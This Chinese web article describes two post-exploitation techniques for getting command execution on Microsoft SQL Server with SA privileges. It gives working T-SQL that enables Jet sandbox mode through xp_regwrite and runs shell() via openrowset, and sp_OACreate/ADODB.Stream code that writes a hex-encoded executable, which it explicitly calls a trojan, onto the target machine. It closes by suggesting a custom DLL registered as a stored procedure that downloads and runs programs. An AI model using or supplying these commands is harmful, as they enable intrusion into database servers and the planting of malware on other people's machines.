游乐游手机版
首页/网络安全/文章详情

MSSQL中两种特殊的命令执行方法

时间:2026-07-30 20:32
先强调一下,以下所有方法都要求具备 SA 权限。这是使用这些技术的前提条件,如果没有该权限,后续内容没有参考价值。 1 沙盒模式的变通 **原始方法(但容易失效):** 第一步,开启沙盘模式: ```sql exec master xp_regwrite HKEY_LOCAL_MACHI
先强调一下,以下所有方法都要求具备 SA 权限。这是使用这些技术的前提条件,如果没有该权限,后续内容没有参考价值。 ## 1. 沙盒模式的变通 **原始方法(但容易失效):** 第一步,开启沙盘模式: ```sql exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 ``` 第二步,利用 jet.oledb 执行系统命令: ```sql select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\dnary.mdb','select shell("CMD命令")') ``` 或者: ```sql select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("CMD命令")') ``` 问题在哪里呢?一旦 `X:\Windows\System32\ias\dnary.mdb` 或 `X:\Windows\System32\ias\ias.mdb` 文件被删除,这条命令就会失效。因此需要换一种思路——自己手动创建一个数据库。 **改进方法(自己建库,避免依赖系统文件):** 使用以下语句创建一个数据库(数据库名称为 `SysSetup.xml`,后缀 .xml 仅作为自定义名称,不影响使用): ```sql declare @hr int declare @object int;declare @property int exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml' ``` 创建成功后,再通过 jet.oledb 调用这个新数据库来执行系统命令: ```sql select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("CMD命令")') ``` 这样一来,就不再依赖系统自带的 mdb 文件,即使它们被删除也不会影响执行。 --- ## 2. 直接写入文件到对方计算机 这个方法可以将 exe、dll 等文件直接写入目标机器,但有一个限制条件——文件大小不能超过 64KB。 假设你已经有一个现成的程序需要部署(例如木马程序),首先将该文件转换为 HEX 代码。可以使用一个名为 File2Hex 的小工具(解压后直接将文件拖拽到脚本上,即可生成包含 HEX 代码的文本文件)。 然后,使用以下代码将文件写入目标计算机: ```sql DECLARE @ObjectToken INT EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT EXEC sp_OASetProperty @ObjectToken, 'Type', 1 EXEC sp_OAMethod @ObjectToken, 'Open' EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x123456(其中0x123456为HEX内容) EXEC sp_OAMethod @ObjectToken, 'Sa veToFile', NULL, 'Test.exe(文件名)', 2 EXEC sp_OAMethod @ObjectToken, 'Close' EXEC sp_OADestroy @ObjectToken ``` 写入完成后,再想办法执行该文件即可。至于执行方式,那就各显神通了。 --- ## 集思广益 目前很多机器上能够执行命令的入口都被严格封锁,即使侥幸能够执行,CMD 的权限也可能被大幅限制。因此推荐一条更稳妥的路径:有能力的同学可以自行开发一个 DLL,然后将该 DLL 写入目标机器,再注册为存储过程。至于这个存储过程具体做什么——下载并执行程序、直接执行命令……都可以,完全取决于你的设计思路。
来源:https://www.jb51.net/hack/34964.html
上一篇G网络安全解决方案:企业级部署与最佳实践 下一篇讯时漏洞总结与安全防护建议
本站内容用于信息整理与展示,如有侵权或内容问题请及时联系处理。

相关推荐

补充同频道和同主题内容,方便继续浏览更多相关内容。

同类最新

继续查看同栏目最近更新的文章。

更多
DDoS攻击的三大主要形式:原理、特征与防御重点
网络安全 · 2026-08-31

DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。

如何有效预防和缓解DDoS攻击:5大核心策略详解
网络安全 · 2026-08-31

如何有效预防和缓解DDoS攻击:5大核心策略详解

面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
网络安全 · 2026-08-31

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。

常见DDoS攻击类型详解:原理、特征与防御策略
网络安全 · 2026-08-31

常见DDoS攻击类型详解:原理、特征与防御策略

本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。

如何有效抵御DDOS攻击:4种核心防护方案解析
网络安全 · 2026-08-31

如何有效抵御DDOS攻击:4种核心防护方案解析

面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。